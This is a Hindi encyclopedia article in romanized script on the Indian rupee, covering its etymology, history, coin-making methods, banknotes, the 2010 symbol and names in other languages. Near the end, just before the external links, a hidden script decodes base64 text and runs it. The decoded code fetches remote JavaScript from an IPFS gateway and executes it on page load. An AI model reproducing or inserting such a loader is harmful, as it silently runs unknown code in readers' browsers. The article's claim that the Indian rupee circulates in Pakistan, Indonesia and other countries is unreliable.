भारतीय रुपया

bharatiy rupaya
bharatiy rupe ka pratik chihn|200px|center
ISO kod 4217	INR
upanam	taka, rupayya, rubaee
keandriy baiank	bharatiy rizarv baiank
adhikrit sadasy	bharat
anadhikrit sadasy	bhootan aur nepal
mudrasphiti	5.96%, march 2013
srot	Economic Adviser
up ikaee	paisa
sikke	50 paise, 1 rupaye, 2 rupaye, 5 rupaye aur 10 rupaye
baiankanot	2 rupaye, 5 rupaye, 10 rupaye, 20 rupaye, 50 rupaye, 100 rupaye, 500 rupaye, 1000 rupaye
any janakari	rupaya shabd sanh 1540 - 1545 ke bich sherashah soori ke dvara jari kie ge chaandi ke sikkoan ke lie upayog mean laya gaya. mool rupaya chaandi ka sikka hota tha, jisaka vajan 11.34 gram tha.
bahari k diyaan	rizarv baiank aauf iandiya

bharatiy rupaya (aangrezi: Indian Rupee, kod: INR) bharat ki rashtriy mudra hai. isaka bazar niyamak aur jarikarta bharatiy rizarv baiank hai. naye pratik chihn ke ane se pahale rupaye ko hindi mean darshane ke lie 'ru' aur aangrezi mean Re. (1 rupaya), Rs., aur Rp. ka prayog kiya jata tha. adhunik bharatiy rupaye ko 100 paise mean vibhajit kiya gaya hai. sikkoan ka mooly 5, 10, 20, 25 aur 50 paise hai aur 1, 2, 5 aur 10 rupaye bhi hai. baiankanot 1, 2, 5, 10, 20, 50, 100, 500 aur 1000 ke mooly par haian.

mooly

sherashah soori ke shasanakal ke dauran shuroo kiya gaya ‘rupaya’ aj tak prachalan mean hai. bharat mean british shasan ke dauran bhi yah prachalan mean raha, is dauran isaka vazan 11.66 gram tha aur isake bhar ka 91.7% tak shuddh chaandi thi. 19vian shatabdi ke aant mean rupaya prathagat british mudra vinimay dar ke anusar ek shiliang aur char peans ke barabar tha, vahian yah ek pauand starliang ka 1 / 15 hissa tha. unnisavian sadi mean jab duniya mean sabase sashakt arthavyavasthayean svarn manak par adharit thian tab chaandi se bane rupaye ke mooly mean bhishan giravat ayi. sanyukt rajy amerika aur vibhinn yooropiy upaniveshoan mean vishal matra mean chaandi ke srot milane ke parinamasvaroop chaandi ka mooly sone ke apeksha kafi gir gaya. achanak bharat ki manak mudra se ab bahar ki duniya se jyada kharid nahian ki ja sakati thi. is ghatana ko ‘rupe ki giravat" ke roop mean jana jata hai. pahale rupe (11.66 gram) ko 16 ane ya 64 paise ya 192 paee mean baanta jata tha. rupaye ka dashamalavikaran 1869 mean silon (shrilanka) mean, 1957 mean bharat mean aur 1961 mean pakistan mean hua. is prakar ab ek bharatiy rupaya 100 paise mean vibhajit ho gaya. bharat mean kabhi kabhi paise ke lie naya paisa shabd bhi istemal kiya jata tha.

pratik chihn

'bharatiy rupe' ka pratik chihn aantararashtriy star par adan-pradan tatha arthik sanbalata ko parilakshit kar raha hai. rupe ka chihn bharat ke lokachar ka bhi ek roopak hai. rupe ka yah naya pratik devanagari lipi ke 'r' aur roman lipi ke akshar 'ar' ko mila kar bana hai, jisamean ek kshaitij rekha bhi bani huee hai. yah rekha hamare rashtradhvaj tatha barabar ke chihn ko pratibianbit karati hai. bharat sarakar ne 15 julaee, 2010 ko is chihn ko svikar kar liya hai. yah chihn bharatiy praudyogiki sansthan (aeeaeeti), mumbee ke post grejuet dijain shri di. uday kumar ne banaya hai. is chihn ko vitt mantralay dvara ayojit ek khuli pratiyogita mean prapt hazaroan dizayanoan mean se chuna gaya hai. is pratiyogita mean bharatiy nagarikoan se rupe ke ne chihn ke lie dizain amantrit kie ge the. is chihn ko dijital takanik tatha kampyootar program mean sthapit karane ki prakriya chal rahi hai.

rupaye ka itihas

thumb|bharatiy ek rupaye ka sikka (1862)

thumb|bharatiy adha ana ka sikka (1945)

thumb|aitihasik bharatiy sikke

thumb|bharatiy ek rupaye ka not (1917)

thumb|bharatiy paanch rupaye ka not (1922)

bharatiy paanch rupaye ka not (1937)|thumb

bharatiy das rupaye ka not (1943)|thumb

bharatiy do rupaye ka not|thumb

bharat vishv ki un pratham sabhyataoan mean se hai jahaan sikkoan ka prachalan shuroo hua. lagabhag 6vian sadi eesa poorv mean rupe shabd ka arth, shabd 'roopa' se joda ja sakata hai jisaka arth hota hai chaandi. sanskrit mean 'roopyakamh' ka arth hai 'chaandi ka sikka'. rupaya shabd sanh 1540 - 1545 ke bich sherashah soori ke dvara jari kie ge chaandi ke sikkoan ke lie upayog mean laya gaya. mool rupaya chaandi ka sikka hota tha, jisaka vajan 11.34 gram tha. yah sikka british bharat ke shasan kal mean bhi upayog mean laya jata raha. bisavian sadi mean faras ki kha di ke deshoan tatha arab mulkoan mean bharatiy rupaya mudra ke taur par prachalit thi. sone ki taskari ko rokane tatha bharatiy mudra ke bahar mean prayog ko rokane ke lie mee 1959 mean bharatiy rizarv baiank ne galf rupi ka vipanan kiya. sath ke dashak mean kuvait tatha baharin ne apani svatantrata ke bad apani khud ki mudra prayog mean lani shuroo ki tatha 1966 mean bharatiy rupaye mean hue avamoolyan se bachane ke lie qatar ne bhi apani mudra shuroo kar di .

kagaz ke notoan ki shuruat

rupayoan ke kagaz ke notoan ko sabase pahale jari karane valoan mean se the 'baiank aauph hindustan' (1770-1832), 'd janaral baiank aauph bangal eand bihar' (1773-75, varen h aaustigs dvara sthapit) aur 'd bangal baiank' (1784-91). shuruat mean baiank aauph bangal dvara jari kie ge kagaz ke notoan pe keval ek taraph hi chhapa hota tha. isamean sone ki ek mohar bani thi aur yah 100, 250, 500 adi vargoan mean the. bad ke not mean ek belaboota bana tha jo ek mahila akriti, vyapar ka manavikaran darshata tha. yah not donoan or chhape hote the, tin lipioan urdoo, bangali aur devanagari mean yah chhape hote the, jisamean pichhe ki taraph baiank ki chhap hoti thi. 1800 sadi ke aant tak notoan ke moolabhav britani ho ge aur jali banane se rokane ke lie uname any kee lakshan jode ge.

chaandi ka rupaya

rupaya shabd ki utpatti sanskrit bhasha ke shabd ‘raupy’ se huee hai, jisaka arth hota hai, chaandi. bharat ki un gine-chune deshoan mean shumar hai jisane sabase pahale sikke jari kie. parinamat: isake itihas mean anek maudrik ikaiyoan (mudraoan) ka ullekh milata hai. is bat ke kuchh aitihasik praman mile haian ki pahale sikke 2500 aur 1750 eesa-poorv ke bich kabhi jari kie ge the. lekin dastaveji praman satavian/chhathi shatabdi eesa-poorv ke bich sikkoan ki dhalaee ke hi mile haian. in sikkoan ke nirman ki vishisht takanik ke karan inhean panch markd sikke kaha jata hai. agali kuchh sadiyoan ke dauran jaise-jaise samrajyoan ka uday aur patan hua, desh ki mudraoan mean isaka pragati-kram dikhaee dene laga. in mudraoan se prayah tatkalin rajavansh, samajik-rajanitik ghatanaoan, aradhy devoan aur prakriti ka parichay milata tha. inamean iando-grik kal ke yoonani devataoan aur usake bad ke pashchimi kshatrap vali taanbe ki mudraean shamil haian jo pahali aur chauthi shatabdi (eesavian) ke dauran jari ki gee thian.

maudrik pranali

araboan ne 712 eesavian mean bharat ke siandh praant ko jit kar us par apana pramukh sthapit kiya. barahavian shatabdi tak dilli ke turk sultanoan ne lanbe samay se chali a rahi arabi dijain ko hatakar unake sthan par islami likhavatoan ko mudrit karaya. is mudra ko tanka kaha jata tha. dilli ke sultanoan ne is maudrik pranali ka manakikaran karane ka prayas kiya aur phir bad mean sone, chaandi aur taanbe ki mudraoan ka prachalan shuroo ho gaya. sanh 1526 mean mugaloan ka shasanakal shuroo hone ke bad samooche samrajy mean ekikrit aur sugathit maudrik pranali ki shurooat huee. afagan sultan sherashah soori (1540 se 1545) ne chaandi ke ‘rupaiye’ athava rupaye ke sikke ki shurooat ki. poorv-upaniveshakal ke bharat ke raje-rajava doan ne apani alag mudraoan ki dhalaee karavaee, jo mukhyat: chaandi ke rupaye jaise hi dikhati thian, keval un par unake mool sthan (riyasatoan) ki kshetriy visheshataean bhar aankit hoti thian.

baiank notoan ka prachalan

atthaharavian shatabdi ke uttararddh mean, ejeansi gharanoan ne baiankoan ka vikas kiya. baiank aauph bangal, d baiank aauph hindustan, oriyantal baiank k aauraporeshan aur d baiank aauph vestarn iandiya inamean pramukh the. in baiankoan ne apani alag-alag kagaji mudraean urdoo, bangala aur devanagari lipiyoan mean mudrit karavaee. lagabhag sau varshoan tak niji aur presideansi baiankoan dvara jari baiank notoan ka prachalan bana raha. parantu 1861 mean pepar kareansi qanoon banane ke bad is par keval sarakar ka ekadhikar rah gaya. british sarakar ne baiank notoan ke vitaran mean madad ke lie pahale to presideansi baiankoan ko hi apane ejeant ke roop mean niyukt kiya, kyoanki ek b de bhoo-bhag mean samany notoan ke istemal ko badhaya dena ek dushkar kary tha. maharani viktoriya ke samman mean 1867 mean pahali bar unake chitr ki shriankhala vale baiank not jari kie ge. ye not ek hi or chhape ge (yooniphesd) the aur paanch moolyoan mean jari kie ge the.

bharatiy rizarv baiank

baiank notoan ke mudran aur vitaran ka dayitv 1935 mean bharatiy rizarv baiank ke hath mean a gaya. j aaurj pancham ke chitr vale notoan ke sthan par 1938 mean j aaurj shashtham ke chitr vale not jari kie ge, jo 1947 tak prachalan mean rahe. bharat ki svatantrata ke bad unaki chhapaee band ho gee aur saranath ke sianhoan ke stambh vale notoan ne inaka sthan le liya.

bharatiy mudra ka nirman

praranbh mean chhote rajy the jahaan vastu vinimay arthat ek vastu ke badale doosari vastu ka adan-pradan sanbhav tha. parantu kalaantar mean jab b de-b de rajyoan ka nirman hua to yah pranali samapt hoti gee aur is kami ko poora karane ke lie mudra ko janm diya gaya. itihasakar ke. vi. ar. ayangar ka manana hai ki prachin bharat mean mudraean rajasatta ke pratik ke roop mean grahan ki jati thian. parantu praranbh mean kis vyakti athava sanstha ne inhean janm diya, yah jnat nahian hai. anuman yah kiya jata hai ki vyapari varg ne adan-pradan ki suvidha hetu sarvapratham sikke taiyar karavae. sanbhavat: praranbh mean rajy isake prati udasin the. parantu paravarti yugoan mean is par rajy ka poorn niyantran sthapit ho gaya tha. kautily ke arthashastr se jnat hota hai ki mudra nirman par poornat: rajy ka adhikar tha. kuchh vidvanoan ka manana hai ki bharat mean mudraoan ka prachalan videshi prabhav ka parinam hai. vahian kuchh ise isi dharati ki upaj manate haian. vilsan aur priansep jaise vidvanoan ka manana hai ki bharat bhoomi par sikkoan ka avirbhav yoonani akraman ke pashchat hua. vahian jan elan unaki is avadharana ko galat batate hue kahate haian ki ‘prarambhik bharatiy sikke jaise ‘karshapan’ athava ‘ahat’ aur yoonani sikkoan ke madhy koee sampark nahian tha.

utpatti samay evan sthan

utpatti sthan ke alava mudra ke janm kal mean bhi vidvanoan mean matabhed haian. jyadatar vidvan manate haian ki bharat mean sikke 800 ee. poo. prakash mean aye. vahian da. di. ar. bhandarakar tatha vitaranitj jaise vidvan bharat mean sikkoan ki prachinata 3000 ee. poo. ke as-pas batate haian. janm sthan aur kal mean beshak vivad ho lekin sikkoan ke nirman mean istemal ki jane vali dhatu ke sanbandh mean koee vivad nahian hai.

sikkoan ka nirman

sikkoan ke nirman ke lie anek dhatuean prayog mean laee jati thian. inamean sona, chaandi tatha taanba pramukh dhatuean thian. sona to bharat mean vipul matra mean tha. taanba bhi ayask ke roop mean prapt hota tha. parantu chaandi bahut kam matra mean upalabdh thi isalie isaka ayat kiya jata tha. satavahan vansh ne mudra nirman mean ek naya prayog kiya. unhoanne mudra nirman ke lie sise ka prayog karana praranbh kar diya. vidvan periplas ka vivaran hai ki bharatiy log sise ka bahar se ayat karate the. itihasakar plini ne isaka samarthan karate hue kaha hai ki hind yavan shasakoan ne ek aur dhatu mudra nirman hetu prayukt kiya jise nikil ke nam se jana jata hai. kabhi-kabhi sikkoan ke nirman hetu potin, kaansy tatha pital ka bhi prayog kiya jata tha. kee bar mudra nirman mean mishrit dhatuoan ka bhi prayog kiya jata tha. dhatuoan ko kathor banane mean aur girati huee arthavyavastha ke sandarbh mean inaka upayog sikkoan mean kiya jane laga. potin kee dhatuoan ke mishran se banata tha isalie ise bhrasht dhatu kaha jata tha. kahian-kahian lohe ke sikke bhi prachalan mean the. isake alava mudra ke roop mean kau diyoan ka prachalan bhi vyapak kshetr mean tha.

mudra nirman vidhi

thumb|bharatiy mudra ke not prachin bharat mean tin prakar se mudraoan ka nirman kiya jata tha:-

1. ahat athava chhapa vidhi

is vidhi se mudra taiyar karane ke lie pahale vibhinn prakar ki dhatuoan ki patali chadar taiyar ki jati thi. phir unake manak taul ke anusar kee chaukor tuk de kiye jate the. un tuk doan par kuchh chihnoan, namoan ya shabdoan ko aankit kiya jata tha. isake lie un par ya to ahat kiya jata tha ya phir kisi muhar se thappa lagaya jata tha. ahat mudraoan ki sabase b di visheshata thi ki ye vibhinn akar ke milate the. inaka koee ek samaroop akar nahian tha. isaka sabase b da karan tha bharanusar inaki kataee-chhantaee. vibhinn bharoan ke anusar inaka bharak bhi bhinn ban jata tha.

2. dhalaee vidhi

yah doosari vidhi jyada parishkrit thi. isamean ek bar mean kee sikkoan ka nirman kiya jata tha. jisase samay v shram donoan ki hi bachat hoti thi. rohatak, takshashila, mathura, sunet, ataranjikhe da, nalanda ityadi sthanoan ki khudaee mean mile sikke isaki pramanikata ko siddh karate haian. dhalaee vidhi mean sikke saanche ki madad se banaye jate the. sarvapratham saanche taiyar karake bhatthi mean rakh die jate the. pakane ke uparant inake madhy chhidr se dhatu ko dhala jata tha. dhatu nalika se uchit sthal par pahuanchakar prastavit akar mean phail jati thi. bhatthi ke shital hone par saanche ko vinasht kar diya jata tha. usi saanche mean chihn tatha lekh bhi likhe hote the jo dhatu par aankit ho jate the. yahi paddhati sikke ke donoan satahoan par aankan hetu prayog mean laee jati thi.

3. thappa prahar vidhi

eesvi sanvath ate-ate mudra nirman mean thappa prahar vidhi kafi lokapriy ho gee. is vidhi mean garm dhatu ke tuk de par thappe ke dabav se lekh tatha pratik chihn aankit kie jate the. is vidhi ke praman hamean keval sahityik sandarbhoan mean hi milate haian. kyoanki abhi tak ek bhi daee prapt nahian huee hai.

mudra nirman keandr

prachin bharat ke rajyoan ko jab mudra ka mahatv jnat hua aur vinimay evan vyapar ke lie mudra ki avashyakata mahasoos huee to unhoanne vyapak paimane par mudra nirman hetu takasal ka nirman karavaya. ye takasal adhikatar rajadhani mean hote the. parantu kuchh rajyoan mean inaka nirman pramukh vyaparik shaharoan mean bhi hota tha. yakin ke sath to nahian lekin rohatak, takshashila, mathura, sunet, ataranjikhe da, nalanda, kashi, kaushavi, kondapur, shishupalagadh ityadi jagahoan par takasal hone ki sanbhavana vyakt ki jati hai.

mudraoan par aankit lipi

prachin bharat ke sikkoan par mukhyataya brahmi, kharoshthi evan grik lipi ka prayog kiya jata tha. vahian bhashaoan mean yoonani, prakrit, sanskrit, dravin bhashaoan ka prayog kiya jata tha. sikkoan par inake alava anek chihnoan ka bhi prayog kiya jata tha jisase inake sthan, samay aur visheshata ka vibhajan kiya jata tha. kee sikkoan par rajakiy chihn hote the to kuchh par shasakakriti ka aankan milata tha. kuchh sikkoan par kisi vishisht devata ya pashu ke chihn bhi aankit hote the.

bharatiy rupaye ke not ki visheshataean

• bharatiy rupaya 1957 tak to 16 anoan mean vibhajit raha, parantu usake bad (1957 mean hi) usane mudra ki dashamalav pranali apana li aur ek rupaye ki ganana 100 saman paisoan mean ki gee.
• mahatma gaandhi vale kagaji notoan ki shriankhala ki shurooat 1996 mean huee, jo aj tak chalan mean hai.
• notoan ke ek or saphed vale bhag mean mahatma gaandhi ka vatar mark bana hua hai.
• sabhi notoan mean chaandi ka suraksha dhaga laga hua hai jis par aangrezi mean arabiaee aur hiandi mean bharat aankit hai. prakash ke samane lane par inako dekha ja sakata hai.
• paanch sau aur ek hazar rupaye ke notoan mean unaka mooly prakash mean parivartaniy syahi se likha hua hai. dharati ke samanantar rakhane par ye sankhya hari dikhaee deti haian parantu tirachhe ya kon se dekhane par nile rang mean likhi huee dikhaee deti haian.

not par bhashaean

bharatiy rupaye ke not ke bhasha patal par bharat ki 22 sarakari bhashaoan mean se 15 mean unaka mooly mudrit hai. oopar se niche inaka kram is prakar hai – asamiya, bangala, gujarati, kann d, kashmiri, koankani, malayalam, marathi, nepali, u diya, panjabi, sanskrit, tamil, telugu aur urdoo.

prachalan

bharatiy upamahadvip mean sarakari mudra ko rupaya kaha jata hai. yah bharat ke sath hi bhootan, pakistan, shrilanka, nepal, m aaurishas, maladiv aur iandoneshiya jaise kee deshoan mean prachalit haian. in sabhi deshoan mean bharatiy rupaya mooly, svikaryata aur lokapriyata ke hisab se sabase mahattvapoorn mana jata hai.

rupaye ke any bhashaoan mean nam

any bhashaoan mean nam
bhasha	asamiya	u diya	urdoo	kann d	kashmiri	sanskrit	gujarati
shabd	t aauka (টকা)	tanka (ଟଙ୍କା)	rupaya	rupaee (ರೂಪಾಯಿ)	rॅpuyi	roopyakamh	rupiyo (રૂપિયો)
bhasha	dogari	tamil	telugu	nepali	panjabi	baangla	bodo
shabd		rubaee (ரூபாய்)	rupayi (రూపాయి)		rupaia	taka (টাকা)
bhasha	manipuri	marathi	malayalam	maithili	santhali	siandhi	aangrezi
shabd		rupaya	rupa (രൂപ)			rupayo	Rupee

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

• kanpyootari dastavejoan mean rupaye ka chihn asani se likhean
• bharatiy rupaya dar
• bharatiy rupaye ka itihas (yoo‌-tyoob vidiyo)